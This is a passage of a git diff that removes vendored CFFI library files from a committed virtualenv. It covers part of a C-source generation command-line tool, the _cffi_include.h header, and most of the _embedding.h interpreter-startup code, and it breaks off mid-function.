:class:`FFI` object it defines. - - The script is executed with ``__name__`` set to ``"cffi.gen_src"``, - so a trailing ``if __name__ == "__main__": ffibuilder.compile()`` - block in the script is skipped. - - ``ffivar`` is the name bound by the script to the :class:`FFI` - object, or to a callable that returns one. - - Raises :class:`NameError` if the name is not bound by the script, - or :class:`TypeError` if the name does not resolve to an - :class:`FFI` instance. - """ - filename = os.path.abspath(filename) - globs = {'__name__': 'cffi.gen_src', '__file__': filename} - old_path = sys.path[:] - sys.path.insert(0, os.path.dirname(filename)) - try: - _execfile(pysrc, filename, globs) - if ffivar not in globs: - raise NameError( - "Expected to find the FFI object with the name %r, " - "but it was not found." % (ffivar,) - ) - ffi = globs[ffivar] - if not isinstance(ffi, FFI) and callable(ffi): - # Maybe it's a callable that returns a FFI - ffi = ffi() - if not isinstance(ffi, FFI): - raise TypeError( - "Found an object with the name %r but it was not an " - "instance of cffi.api.FFI" % (ffivar,) - ) - return ffi - finally: - sys.path[:] = old_path - - -def make_ffi_from_sources(modulename, cdef, csrc): - """Create an :class:`FFI` from ``cdef`` text and a C source prelude.""" - ffibuilder = FFI() - ffibuilder.cdef(cdef) - ffibuilder.set_source(modulename, csrc) - return ffibuilder - - -def generate_c_source(ffi): - """Return the C source that :meth:`FFI.emit_c_code` would write.""" - output = io.StringIO() - ffi.emit_c_code(output) - return output.getvalue() - - -def write_c_source(output, generated): - if output == '-': - sys.stdout.write(generated) - return - with open(output, 'w', encoding='utf-8') as f: - f.write(generated) - - -def same_input_file(file1, file2): - if file1 is file2: - return True - try: - return os.path.samefile(file1.name, file2.name) - except OSError: - return False - - -def exec_python(*, output, pyfile, ffi_var): - with pyfile: - ffi = find_ffi_in_python_script(pyfile.read(), pyfile.name, ffi_var) - generated = generate_c_source(ffi) - write_c_source(output, generated) - - -def read_sources(*, output, module_name, cdef_input, csrc_input): - with csrc_input, cdef_input: - csrc = csrc_input.read() - cdef = cdef_input.read() - ffi = make_ffi_from_sources(module_name, cdef, csrc) - generated = generate_c_source(ffi) - write_c_source(output, generated) - - -def _prog(): - # The same parser serves both documented invocations; make --help - # and usage messages show the one that was actually used. - argv0 = os.path.basename(sys.argv[0]) if sys.argv else '' - if argv0.startswith('cffi-gen-src'): - return 'cffi-gen-src' - return 'python -m cffi.gen_src' - - -parser = argparse.ArgumentParser( - prog=_prog(), - description='Generate CFFI C source for extension modules.', -) -subparsers = parser.add_subparsers(dest='mode') - -exec_python_parser = subparsers.add_parser( - 'exec-python', - help='Execute a Python script that defines an FFI object', -) -exec_python_parser.add_argument( - '--ffi-var', - default='ffibuilder', - help="Name of the FFI object in the Python script; defaults to 'ffibuilder'.", -) -exec_python_parser.add_argument( - 'pyfile', - type=argparse.FileType('r', encoding='utf-8'), - help='Path to the Python script', -) -exec_python_parser.add_argument( - 'output', - help='Output path for the C source', -) - -read_sources_parser = subparsers.add_parser( - 'read-sources', - help='Read cdef and C source prelude files that define an FFI object', -) -read_sources_parser.add_argument( - 'module_name', - help='Full name of the generated module, including packages', -) -read_sources_parser.add_argument( - 'cdef', - type=argparse.FileType('r', encoding='utf-8'), - help='File containing C definitions', -) -read_sources_parser.add_argument( - 'csrc', - type=argparse.FileType('r', encoding='utf-8'), - help='File containing C source prelude', -) -read_sources_parser.add_argument( - 'output', - help='Output path for the C source', -) - - -def run(args=None): - args = parser.parse_args(args=args) - if args.mode == 'exec-python': - exec_python(output=args.output, pyfile=args.pyfile, ffi_var=args.ffi_var) - elif args.mode == 'read-sources': - if same_input_file(args.cdef, args.csrc): - parser.error('cdef and csrc are the same file and should not be') - read_sources( - output=args.output, - module_name=args.module_name, - cdef_input=args.cdef, - csrc_input=args.csrc, - ) - else: - parser.error('a subcommand is required: exec-python or read-sources') - parser.exit(0) diff --git a/venv/Lib/site-packages/cffi/_cffi_include.h b/venv/Lib/site-packages/cffi/_cffi_include.h deleted file mode 100644 index c8c6d343bccdc970056c97bd0611f1648908b0d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/_cffi_include.h +++ /dev/null @@ -1,397 +0,0 @@ -#define _CFFI_ - -/* We try to define Py_LIMITED_API before including Python.h. - - Mess: we can only define it if Py_DEBUG, Py_TRACE_REFS and - Py_REF_DEBUG are not defined. This is a best-effort approximation: - we can learn about Py_DEBUG from pyconfig.h, but it is unclear if - the same works for the other two macros. Py_DEBUG implies them, - but not the other way around. - - The implementation is messy (issue #350): on Windows, with _MSC_VER, - we have to define Py_LIMITED_API even before including pyconfig.h. - In that case, we guess what pyconfig.h will do to the macros above, - and check our guess after the #include. - - Note that on Windows, with CPython 3.x, you need >= 3.5 and virtualenv - version >= 16.0.0. With older versions of either, you don't get a - copy of PYTHON3.DLL in the virtualenv. We can't check the version of - CPython *before* we even include pyconfig.h. ffi.set_source() puts - a ``#define _CFFI_NO_LIMITED_API'' at the start of this file if it is - running on Windows < 3.5, as an attempt at fixing it, but that's - arguably wrong because it may not be the target version of Python. - Still better than nothing I guess. As another workaround, you can - remove the definition of Py_LIMITED_API here. - - See also 'py_limited_api' in cffi/setuptools_ext.py. -*/ -#if !defined(_CFFI_USE_EMBEDDING) && !defined(Py_LIMITED_API) -# ifdef _MSC_VER -# if !defined(_DEBUG) && !defined(Py_DEBUG) && !defined(Py_TRACE_REFS) && !defined(Py_REF_DEBUG) && !defined(_CFFI_NO_LIMITED_API) -# if !defined(Py_GIL_DISABLED) -# define Py_LIMITED_API -# else -# define Py_LIMITED_API 0x030f0000 -# endif -# endif - -# include - /* sanity-check: Py_LIMITED_API will cause crashes if any of these - are also defined. Normally, the Python file PC/pyconfig.h does not - cause any of these to be defined, with the exception that _DEBUG - causes Py_DEBUG. Double-check that. */ -# ifdef Py_LIMITED_API -# if defined(Py_DEBUG) -# error "pyconfig.h unexpectedly defines Py_DEBUG, but Py_LIMITED_API is set" -# endif -# if defined(Py_TRACE_REFS) -# error "pyconfig.h unexpectedly defines Py_TRACE_REFS, but Py_LIMITED_API is set" -# endif -# if defined(Py_REF_DEBUG) -# error "pyconfig.h unexpectedly defines Py_REF_DEBUG, but Py_LIMITED_API is set" -# endif -# endif -# else -# include -# if !defined(Py_DEBUG) && !defined(Py_TRACE_REFS) && !defined(Py_REF_DEBUG) && !defined(_CFFI_NO_LIMITED_API) -# if !defined(Py_GIL_DISABLED) -# define Py_LIMITED_API -# else -# define Py_LIMITED_API 0x030f0000 -# endif -# endif -# endif -#endif - -#include -#ifdef __cplusplus -extern "C" { -#endif -#include -#include -#include - -#include "parse_c_type.h" - -/* this block of #ifs should be kept exactly identical between - c/_cffi_backend.c, cffi/vengine_cpy.py, cffi/vengine_gen.py - and cffi/_cffi_include.h */ -#if defined(_MSC_VER) -# include /* for alloca() */ -# if _MSC_VER < 1600 /* MSVC < 2010 */ - typedef __int8 int8_t; - typedef __int16 int16_t; - typedef __int32 int32_t; - typedef __int64 int64_t; - typedef unsigned __int8 uint8_t; - typedef unsigned __int16 uint16_t; - typedef unsigned __int32 uint32_t; - typedef unsigned __int64 uint64_t; - typedef __int8 int_least8_t; - typedef __int16 int_least16_t; - typedef __int32 int_least32_t; - typedef __int64 int_least64_t; - typedef unsigned __int8 uint_least8_t; - typedef unsigned __int16 uint_least16_t; - typedef unsigned __int32 uint_least32_t; - typedef unsigned __int64 uint_least64_t; - typedef __int8 int_fast8_t; - typedef __int16 int_fast16_t; - typedef __int32 int_fast32_t; - typedef __int64 int_fast64_t; - typedef unsigned __int8 uint_fast8_t; - typedef unsigned __int16 uint_fast16_t; - typedef unsigned __int32 uint_fast32_t; - typedef unsigned __int64 uint_fast64_t; - typedef __int64 intmax_t; - typedef unsigned __int64 uintmax_t; -# else -# include -# endif -# if _MSC_VER < 1800 /* MSVC < 2013 */ -# ifndef __cplusplus - typedef unsigned char _Bool; -# endif -# endif -# define _cffi_float_complex_t _Fcomplex /* include for it */ -# define _cffi_double_complex_t _Dcomplex /* include for it */ -#else -# include -# if (defined (__SVR4) && defined (__sun)) || defined(_AIX) || defined(__hpux) -# include -# endif -# define _cffi_float_complex_t float _Complex -# define _cffi_double_complex_t double _Complex -#endif - -#ifdef __GNUC__ -# define _CFFI_UNUSED_FN __attribute__((unused)) -#else -# define _CFFI_UNUSED_FN /* nothing */ -#endif - -#ifdef __cplusplus -# ifndef _Bool - typedef bool _Bool; /* semi-hackish: C++ has no _Bool; bool is builtin */ -# endif -#endif - -/********** CPython-specific section **********/ -#ifndef PYPY_VERSION - - -#define _cffi_from_c_double PyFloat_FromDouble -#define _cffi_from_c_float PyFloat_FromDouble -#define _cffi_from_c_long PyLong_FromLong -#define _cffi_from_c_ulong PyLong_FromUnsignedLong -#define _cffi_from_c_longlong PyLong_FromLongLong -#define _cffi_from_c_ulonglong PyLong_FromUnsignedLongLong -#define _cffi_from_c__Bool PyBool_FromLong - -#define _cffi_to_c_double PyFloat_AsDouble -#define _cffi_to_c_float PyFloat_AsDouble - -#define _cffi_from_c_int(x, type) \ - (((type)-1) > 0 ? /* unsigned */ \ - (sizeof(type) < sizeof(long) ? \ - PyLong_FromLong((long)x) : \ - sizeof(type) == sizeof(long) ? \ - PyLong_FromUnsignedLong((unsigned long)x) : \ - PyLong_FromUnsignedLongLong((unsigned long long)x)) : \ - (sizeof(type) <= sizeof(long) ? \ - PyLong_FromLong((long)x) : \ - PyLong_FromLongLong((long long)x))) - -#define _cffi_to_c_int(o, type) \ - ((type)( \ - sizeof(type) == 1 ? (((type)-1) > 0 ? (type)_cffi_to_c_u8(o) \ - : (type)_cffi_to_c_i8(o)) : \ - sizeof(type) == 2 ? (((type)-1) > 0 ? (type)_cffi_to_c_u16(o) \ - : (type)_cffi_to_c_i16(o)) : \ - sizeof(type) == 4 ? (((type)-1) > 0 ? (type)_cffi_to_c_u32(o) \ - : (type)_cffi_to_c_i32(o)) : \ - sizeof(type) == 8 ? (((type)-1) > 0 ? (type)_cffi_to_c_u64(o) \ - : (type)_cffi_to_c_i64(o)) : \ - (Py_FatalError("unsupported size for type " #type), (type)0))) - -#define _cffi_to_c_i8 \ - ((int(*)(PyObject *))_cffi_exports[1]) -#define _cffi_to_c_u8 \ - ((int(*)(PyObject *))_cffi_exports[2]) -#define _cffi_to_c_i16 \ - ((int(*)(PyObject *))_cffi_exports[3]) -#define _cffi_to_c_u16 \ - ((int(*)(PyObject *))_cffi_exports[4]) -#define _cffi_to_c_i32 \ - ((int(*)(PyObject *))_cffi_exports[5]) -#define _cffi_to_c_u32 \ - ((unsigned int(*)(PyObject *))_cffi_exports[6]) -#define _cffi_to_c_i64 \ - ((long long(*)(PyObject *))_cffi_exports[7]) -#define _cffi_to_c_u64 \ - ((unsigned long long(*)(PyObject *))_cffi_exports[8]) -#define _cffi_to_c_char \ - ((int(*)(PyObject *))_cffi_exports[9]) -#define _cffi_from_c_pointer \ - ((PyObject *(*)(char *, struct _cffi_ctypedescr *))_cffi_exports[10]) -#define _cffi_to_c_pointer \ - ((char *(*)(PyObject *, struct _cffi_ctypedescr *))_cffi_exports[11]) -#define _cffi_get_struct_layout \ - not used any more -#define _cffi_restore_errno \ - ((void(*)(void))_cffi_exports[13]) -#define _cffi_save_errno \ - ((void(*)(void))_cffi_exports[14]) -#define _cffi_from_c_char \ - ((PyObject *(*)(char))_cffi_exports[15]) -#define _cffi_from_c_deref \ - ((PyObject *(*)(char *, struct _cffi_ctypedescr *))_cffi_exports[16]) -#define _cffi_to_c \ - ((int(*)(char *, struct _cffi_ctypedescr *, PyObject *))_cffi_exports[17]) -#define _cffi_from_c_struct \ - ((PyObject *(*)(char *, struct _cffi_ctypedescr *))_cffi_exports[18]) -#define _cffi_to_c_wchar_t \ - ((_cffi_wchar_t(*)(PyObject *))_cffi_exports[19]) -#define _cffi_from_c_wchar_t \ - ((PyObject *(*)(_cffi_wchar_t))_cffi_exports[20]) -#define _cffi_to_c_long_double \ - ((long double(*)(PyObject *))_cffi_exports[21]) -#define _cffi_to_c__Bool \ - ((_Bool(*)(PyObject *))_cffi_exports[22]) -#define _cffi_prepare_pointer_call_argument \ - ((Py_ssize_t(*)(struct _cffi_ctypedescr *, \ - PyObject *, char **))_cffi_exports[23]) -#define _cffi_convert_array_from_object \ - ((int(*)(char *, struct _cffi_ctypedescr *, PyObject *))_cffi_exports[24]) -#define _CFFI_CPIDX 25 -#define _cffi_call_python \ - ((void(*)(struct _cffi_externpy_s *, char *))_cffi_exports[_CFFI_CPIDX]) -#define _cffi_to_c_wchar3216_t \ - ((int(*)(PyObject *))_cffi_exports[26]) -#define _cffi_from_c_wchar3216_t \ - ((PyObject *(*)(int))_cffi_exports[27]) -#define _CFFI_NUM_EXPORTS 28 - -struct _cffi_ctypedescr; - -static void *_cffi_exports[_CFFI_NUM_EXPORTS]; - -#define _cffi_type(index) ( \ - assert((((uintptr_t)_cffi_types[index]) & 1) == 0), \ - (struct _cffi_ctypedescr *)_cffi_types[index]) - -static PyObject *_cffi_init(const char *module_name, Py_ssize_t version, - const struct _cffi_type_context_s *ctx) -{ - PyObject *module, *o_arg, *new_module; - void *raw[] = { - (void *)module_name, - (void *)version, - (void *)_cffi_exports, - (void *)ctx, - }; - - module = PyImport_ImportModule("_cffi_backend"); - if (module == NULL) - goto failure; - - o_arg = PyLong_FromVoidPtr((void *)raw); - if (o_arg == NULL) - goto failure; - - new_module = PyObject_CallMethod( - module, (char *)"_init_cffi_1_0_external_module", (char *)"O", o_arg); - - Py_DECREF(o_arg); - Py_DECREF(module); - return new_module; - - failure: - Py_XDECREF(module); - return NULL; -} - - -#ifdef HAVE_WCHAR_H -typedef wchar_t _cffi_wchar_t; -#else -typedef uint16_t _cffi_wchar_t; /* same random pick as _cffi_backend.c */ -#endif - -_CFFI_UNUSED_FN static uint16_t _cffi_to_c_char16_t(PyObject *o) -{ - if (sizeof(_cffi_wchar_t) == 2) - return (uint16_t)_cffi_to_c_wchar_t(o); - else - return (uint16_t)_cffi_to_c_wchar3216_t(o); -} - -_CFFI_UNUSED_FN static PyObject *_cffi_from_c_char16_t(uint16_t x) -{ - if (sizeof(_cffi_wchar_t) == 2) - return _cffi_from_c_wchar_t((_cffi_wchar_t)x); - else - return _cffi_from_c_wchar3216_t((int)x); -} - -_CFFI_UNUSED_FN static int _cffi_to_c_char32_t(PyObject *o) -{ - if (sizeof(_cffi_wchar_t) == 4) - return (int)_cffi_to_c_wchar_t(o); - else - return (int)_cffi_to_c_wchar3216_t(o); -} - -_CFFI_UNUSED_FN static PyObject *_cffi_from_c_char32_t(unsigned int x) -{ - if (sizeof(_cffi_wchar_t) == 4) - return _cffi_from_c_wchar_t((_cffi_wchar_t)x); - else - return _cffi_from_c_wchar3216_t((int)x); -} - -union _cffi_union_alignment_u { - unsigned char m_char; - unsigned short m_short; - unsigned int m_int; - unsigned long m_long; - unsigned long long m_longlong; - float m_float; - double m_double; - long double m_longdouble; -}; - -struct _cffi_freeme_s { - struct _cffi_freeme_s *next; - union _cffi_union_alignment_u alignment; -}; - -_CFFI_UNUSED_FN static int -_cffi_convert_array_argument(struct _cffi_ctypedescr *ctptr, PyObject *arg, - char **output_data, Py_ssize_t datasize, - struct _cffi_freeme_s **freeme) -{ - char *p; - if (datasize < 0) - return -1; - - p = *output_data; - if (p == NULL) { - struct _cffi_freeme_s *fp = (struct _cffi_freeme_s *)PyObject_Malloc( - offsetof(struct _cffi_freeme_s, alignment) + (size_t)datasize); - if (fp == NULL) - return -1; - fp->next = *freeme; - *freeme = fp; - p = *output_data = (char *)&fp->alignment; - } - memset((void *)p, 0, (size_t)datasize); - return _cffi_convert_array_from_object(p, ctptr, arg); -} - -_CFFI_UNUSED_FN static void -_cffi_free_array_arguments(struct _cffi_freeme_s *freeme) -{ - do { - void *p = (void *)freeme; - freeme = freeme->next; - PyObject_Free(p); - } while (freeme != NULL); -} - -/********** end CPython-specific section **********/ -#else -_CFFI_UNUSED_FN -static void (*_cffi_call_python_org)(struct _cffi_externpy_s *, char *); -# define _cffi_call_python _cffi_call_python_org -#endif - - -#define _cffi_array_len(array) (sizeof(array) / sizeof((array)[0])) - -#define _cffi_prim_int(size, sign) \ - ((size) == 1 ? ((sign) ? _CFFI_PRIM_INT8 : _CFFI_PRIM_UINT8) : \ - (size) == 2 ? ((sign) ? _CFFI_PRIM_INT16 : _CFFI_PRIM_UINT16) : \ - (size) == 4 ? ((sign) ? _CFFI_PRIM_INT32 : _CFFI_PRIM_UINT32) : \ - (size) == 8 ? ((sign) ? _CFFI_PRIM_INT64 : _CFFI_PRIM_UINT64) : \ - _CFFI__UNKNOWN_PRIM) - -#define _cffi_prim_float(size) \ - ((size) == sizeof(float) ? _CFFI_PRIM_FLOAT : \ - (size) == sizeof(double) ? _CFFI_PRIM_DOUBLE : \ - (size) == sizeof(long double) ? _CFFI__UNKNOWN_LONG_DOUBLE : \ - _CFFI__UNKNOWN_FLOAT_PRIM) - -#define _cffi_check_int(got, got_nonpos, expected) \ - ((got_nonpos) == (expected <= 0) && \ - (got) == (unsigned long long)expected) - -#ifdef MS_WIN32 -# define _cffi_stdcall __stdcall -#else -# define _cffi_stdcall /* nothing */ -#endif - -#ifdef __cplusplus -} -#endif diff --git a/venv/Lib/site-packages/cffi/_embedding.h b/venv/Lib/site-packages/cffi/_embedding.h deleted file mode 100644 index ba6e79b971b43dbd0afd57a75eafe2c1ff36c133..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/_embedding.h +++ /dev/null @@ -1,512 +0,0 @@ - -/***** Support code for embedding *****/ - -#ifdef __cplusplus -extern "C" { -#endif - - -#if defined(_WIN32) -# define CFFI_DLLEXPORT __declspec(dllexport) -#elif defined(__GNUC__) -# define CFFI_DLLEXPORT __attribute__((visibility("default"))) -#else -# define CFFI_DLLEXPORT /* nothing */ -#endif - - -/* There are two global variables of type _cffi_call_python_fnptr: - - * _cffi_call_python, which we declare just below, is the one called - by ``extern "Python"`` implementations. - - * _cffi_call_python_org, which on CPython is actually part of the - _cffi_exports[] array, is the function pointer copied from - _cffi_backend. If _cffi_start_python() fails, then this is set - to NULL; otherwise, it should never be NULL. - - After initialization is complete, both are equal. However, the - first one remains equal to &_cffi_start_and_call_python until the - very end of initialization, when we are (or should be) sure that - concurrent threads also see a completely initialized world, and - only then is it changed. -*/ -#undef _cffi_call_python -typedef void (*_cffi_call_python_fnptr)(struct _cffi_externpy_s *, char *); -static void _cffi_start_and_call_python(struct _cffi_externpy_s *, char *); -static _cffi_call_python_fnptr _cffi_call_python = &_cffi_start_and_call_python; - - -#ifndef _MSC_VER - /* --- Assuming a GCC not infinitely old --- */ -# define cffi_compare_and_swap(l,o,n) __sync_bool_compare_and_swap(l,o,n) -# define cffi_write_barrier() __sync_synchronize() -# if !defined(__amd64__) && !defined(__x86_64__) && \ - !defined(__i386__) && !defined(__i386) -# define cffi_read_barrier() __sync_synchronize() -# else -# define cffi_read_barrier() (void)0 -# endif -#else - /* --- Windows threads version --- */ -# include -# define cffi_compare_and_swap(l,o,n) \ - (InterlockedCompareExchangePointer(l,n,o) == (o)) -# define cffi_write_barrier() InterlockedCompareExchange(&_cffi_dummy,0,0) -# define cffi_read_barrier() (void)0 -static volatile LONG _cffi_dummy; -#endif - -#ifdef WITH_THREAD -# ifndef _MSC_VER -# include - static pthread_mutex_t _cffi_embed_startup_lock; -# else - static CRITICAL_SECTION _cffi_embed_startup_lock; -# endif - static char _cffi_embed_startup_lock_ready = 0; -#endif - -static void _cffi_acquire_reentrant_mutex(void) -{ - static void *volatile lock = NULL; - - while (!cffi_compare_and_swap(&lock, NULL, (void *)1)) { - /* should ideally do a spin loop instruction here, but - hard to do it portably and doesn't really matter I - think: pthread_mutex_init() should be very fast, and - this is only run at start-up anyway. */ - } - -#ifdef WITH_THREAD - if (!_cffi_embed_startup_lock_ready) { -# ifndef _MSC_VER - pthread_mutexattr_t attr; - pthread_mutexattr_init(&attr); - pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); - pthread_mutex_init(&_cffi_embed_startup_lock, &attr); -# else - InitializeCriticalSection(&_cffi_embed_startup_lock); -# endif - _cffi_embed_startup_lock_ready = 1; - } -#endif - - while (!cffi_compare_and_swap(&lock, (void *)1, NULL)) - ; - -#ifndef _MSC_VER - pthread_mutex_lock(&_cffi_embed_startup_lock); -#else - EnterCriticalSection(&_cffi_embed_startup_lock); -#endif -} - -static void _cffi_release_reentrant_mutex(void) -{ -#ifndef _MSC_VER - pthread_mutex_unlock(&_cffi_embed_startup_lock); -#else - LeaveCriticalSection(&_cffi_embed_startup_lock); -#endif -} - - -/********** CPython-specific section **********/ -#ifndef PYPY_VERSION - -#include "_cffi_errors.h" - - -#define _cffi_call_python_org _cffi_exports[_CFFI_CPIDX] - -PyMODINIT_FUNC _CFFI_PYTHON_STARTUP_FUNC(void); /* forward */ - -static void _cffi_py_initialize(void) -{ - /* XXX use initsigs=0, which "skips initialization registration of - signal handlers, which might be useful when Python is - embedded" according to the Python docs. But review and think - if it should be a user-controllable setting. - - XXX we should also give a way to write errors to a buffer - instead of to stderr. - - XXX if importing 'site' fails, CPython (any version) calls - exit(). Should we try to work around this behavior here? - */ - Py_InitializeEx(0); -} - -static int _cffi_initialize_python(void) -{ - /* This initializes Python, imports _cffi_backend, and then the - present .dll/.so is set up as a CPython C extension module. - */ - int result; - PyGILState_STATE state; - PyObject *pycode=NULL, *global_dict=NULL, *x; - PyObject *builtins; - - state = PyGILState_Ensure(); - - /* Call the initxxx() function from the present module. It will - create and initialize us as a CPython extension module, instead - of letting the startup Python code do it---it might reimport - the same .dll/.so and get maybe confused on some platforms. - It might also have troubles locating the .dll/.so again for all - I know. - */ - (void)_CFFI_PYTHON_STARTUP_FUNC(); - if (PyErr_Occurred()) - goto error; - - /* Now run the Python code provided to ffi.embedding_init_code(). - */ - pycode = Py_CompileString(_CFFI_PYTHON_STARTUP_CODE, - "", - Py_file_input); - if (pycode == NULL) - goto error; - global_dict = PyDict_New(); - if (global_dict == NULL) - goto error; - builtins = PyEval_GetBuiltins(); - if (builtins == NULL) - goto error; - if (PyDict_SetItemString(global_dict, "__builtins__", builtins) < 0) - goto error; - x = PyEval_EvalCode( - pycode, global_dict, global_dict); - if (x == NULL) - goto error; - Py_DECREF(x); - - /* Done! Now if we've been called from - _cffi_start_and_call_python() in an ``extern "Python"``, we can - only hope that the Python code did correctly set up the - corresponding @ffi.def_extern() function. Otherwise, the - general logic of ``extern "Python"`` functions (inside the - _cffi_backend module) will find that the reference is still - missing and print an error. - */ - result = 0; - done: - Py_XDECREF(pycode); - Py_XDECREF(global_dict); - PyGILState_Release(state); - return result; - - error:; - { - /* Print as much information as potentially useful. - Debugging load-time failures with embedding is not fun - */ - PyObject *ecap; - PyObject *exception, *v, *tb, *f, *modules, *mod; - PyErr_Fetch(&exception, &v, &tb); - ecap = _cffi_start_error_capture(); - f = PySys_GetObject((char *)"stderr"); - if (f != NULL && f != Py_None) { - PyFile_WriteString( - "Failed to initialize the Python-CFFI embedding logic:\n\n", f); - } - - if (exception != NULL) { - PyErr_NormalizeException(&exception, &v, &tb); - PyErr_Display(exception, v, tb); - } - Py_XDECREF(exception); - Py_XDECREF(v); - Py_XDECREF(tb); - - if (f != NULL && f != Py_None) { - PyFile_WriteString("\nFrom: " _CFFI_MODULE_NAME - "\ncompiled with cffi version: 2.1.1" - "\n_cffi_backend module: ", f); - modules = PyImport_GetModuleDict(); - mod = PyDict_GetItemString(modules, "_cffi_backend"); - if (mod == NULL) { - PyFile_WriteString("not loaded", f); - } - else { - v = PyObject_GetAttrString(mod, "__file__"); - PyFile_WriteObject(v, f, 0); - Py_XDECREF(v); - } - PyFile_WriteString("\nsys.path: ", f); - PyFile_WriteObject(PySys_GetObject((char *)"path"), f, 0); - PyFile_WriteString("\n\n", f); - } - _cffi_stop_error_capture(ecap); - } - result = -1; - goto done; -} - -static int _cffi_carefully_make_gil(void) -{ - /* This does the basic initialization of Python. It can be called - completely concurrently from unrelated threads. It assumes - that we don't hold the GIL before (if it exists), and we don't - hold it afterwards. - - (What it really does used to be completely different in Python 2 - and Python 3, with the Python 2 solution avoiding the spin-lock - around the Py_InitializeEx() call. However, after recent changes - to CPython 2.7 (issue #358) it no longer works. So we use the - Python 3 solution everywhere.) - - This initializes Python by calling Py_InitializeEx(). - Important: this must not be called concurrently at all. - So we use a global variable as a simple spin lock. This global - variable must be from 'libpythonX.Y.so', not from this - cffi-based extension module, because it must be shared from - different cffi-based extension modules. - - In Python < 3.8, we choose - _PyParser_TokenNames[0] as a completely arbitrary pointer value - that is never written to. The default is to point to the - string "ENDMARKER". We change it temporarily to point to the - next character in that string. (Yes, I know it's REALLY - obscure.) - - In Python >= 3.8, this string array is no longer writable, so - instead we pick PyCapsuleType.tp_version_tag. We can't change - Python < 3.8 because someone might use a mixture of cffi - embedded modules, some of which were compiled before this file - changed. - - In Python >= 3.12, this stopped working because that particular - tp_version_tag gets modified during interpreter startup. It's - arguably a bad idea before 3.12 too, but again we can't change - that because someone might use a mixture of cffi embedded - modules, and no-one reported a bug so far. In Python >= 3.12 - we go instead for PyCapsuleType.tp_as_buffer, which is supposed - to always be NULL. We write to it temporarily a pointer to - a struct full of NULLs, which is semantically the same. - */ - -#ifdef WITH_THREAD -# if PY_VERSION_HEX < 0x030C0000 - int volatile *lock = (int volatile *)&PyCapsule_Type.tp_version_tag; - int old_value, locked_value = -42; - assert(!(PyCapsule_Type.tp_flags & Py_TPFLAGS_HAVE_VERSION_TAG)); -# else - static struct ebp_s { PyBufferProcs buf; int mark; } empty_buffer_procs; - empty_buffer_procs.mark = -42; - PyBufferProcs *volatile *lock = (PyBufferProcs *volatile *) - &PyCapsule_Type.tp_as_buffer; - PyBufferProcs *old_value, *locked_value = &empty_buffer_procs.buf; -# endif - - while (1) { /* spin loop */ - old_value = *lock; - if (old_value == 0) { - if (cffi_compare_and_swap(lock, old_value, locked_value)) - break; - } - else { -# if PY_VERSION_HEX < 0x030C0000 - assert(old_value == locked_value); -# else - /* The pointer should point to a possibly different - empty_buffer_procs from another C extension module */ - assert(((struct ebp_s *)old_value)->mark == -42); -# endif - /* should ideally do a spin loop instruction here, but - hard to do it portably and doesn't really matter I - think: PyEval_InitThreads() should be very fast, and - this is only run at start-up anyway. */ - } - } -#endif - - /* call Py_InitializeEx() */ - if (!Py_IsInitialized()) { - _cffi_py_initialize(); - PyEval_SaveThread(); /* release the GIL */ - /* the returned tstate must be the one that has been stored into the - autoTLSkey by _PyGILState_Init() called from Py_Initialize(). */ - } - else { - } - -#ifdef WITH_THREAD - /* release the lock */ - while (!cffi_compare_and_swap(lock, locked_value, old_value)) - ; -#endif - - return 0; -} - -/********** end CPython-specific section **********/ - - -#else - - -/********** PyPy-specific section **********/ - -PyMODINIT_FUNC _CFFI_PYTHON_STARTUP_FUNC(const void *[]); /* forward */ - -static struct _cffi_pypy_init_s { - const char *name; - void *func; /* function pointer */ - const char *code; -} _cffi_pypy_init = { - _CFFI_MODULE_NAME, - _CFFI_PYTHON_STARTUP_FUNC, - _CFFI_PYTHON_STARTUP_CODE, -}; - -extern int pypy_carefully_make_gil(const char *); -extern int pypy_init_embedded_cffi_module(int, struct _cffi_pypy_init_s *); - -static int _cffi_carefully_make_gil(void) -{ - return pypy_carefully_make_gil(_CFFI_MODULE_NAME); -} - -static int _cffi_initialize_python(void) -{ - return pypy_init_embedded_cffi_module(0xB011, &_cffi_pypy_init); -} - -/********** end PyPy-specific section **********/ - - -#endif - - -#ifdef __GNUC__ -__attribute__((noinline)) -#endif -static _cffi_call_python_fnptr _cffi_start_python(void) -{ - /* Delicate logic to initialize Python. This function can be - called multiple times concurrently, e.g. when the process calls - its first ``extern "Python"`` functions in multiple threads at - once. It can also be called recursively, in which case we must - ignore it. We also have to consider what occurs if several - different cffi-based extensions reach this code in parallel - threads---it is a different copy of the code, then, and we - can't have any shared global variable unless it comes from - 'libpythonX.Y.so'. - - Idea: - - * _cffi_carefully_make_gil(): "carefully" call - PyEval_InitThreads() (possibly with Py_InitializeEx() first). - - * then we use a (local) custom lock to make sure that a call to this - cffi-based extension will wait if another call to the *same* - extension is running the initialization in another thread. - It is reentrant, so that a recursive call will not block, but - only one from a different thread. - - * then we grab the GIL and (Python 2) we call Py_InitializeEx(). - At this point, concurrent calls to Py_InitializeEx() are not - possible: we have the GIL. - - * do the rest of the specific initialization, which may - temporarily release the GIL but not the custom lock. - Only release the custom lock when we are done. - */ - static char called = 0; - - if (_cffi_carefully_make_gil() != 0) - return NULL; - - _cffi_acquire_reentrant_mutex(); - - /* Here the GIL exists, but we don't have it. We're only protected - from concurrency by the reentrant mutex. */ - - /* This file only initializes the embedded module once, the first - time this is called, even if there are subinterpreters. */ - if (!called) { - called = 1; /* invoke _cffi_initialize_python() only once, - but don't set '_cffi_call_python' right now, - otherwise concurrent threads won't call - this function at all (we need them to wait) */ - if (_cffi_initialize_python() == 0) { - /* now initialization is finished. Switch to the fast-path. */ - - /* We would like nobody to see the new value of - '_cffi_call_python' without also seeing the rest of the - data initialized. However, this is not possible. But - the new value of '_cffi_call_python' is the function - 'cffi_call_python()' from _cffi_backend. So: */ - cffi_write_barrier(); - /* ^^^ we put a write barrier here, and a corresponding - read barrier at the start of cffi_call_python(). This - ensures that after that read barrier, we see everything - done here before the write barrier. - */ - - assert(_cffi_call_python_org != NULL); - _cffi_call_python = (_cffi_call_python_fnptr)_cffi_call_python_org; - } - else { - /* initialization failed. Reset this to NULL, even if it was - already set to some other value. Future calls to - _cffi_start_python() are still forced to occur, and will - always return NULL from now on. */ - _cffi_call_python_org = NULL; - } - } - - _cffi_release_reentrant_mutex(); - - return (_cffi_call_python_fnptr)_cffi_call_python_org; -} - -static -void _cffi_start_and_call_python(struct _cffi_externpy_s *externpy, char *args) -{ - 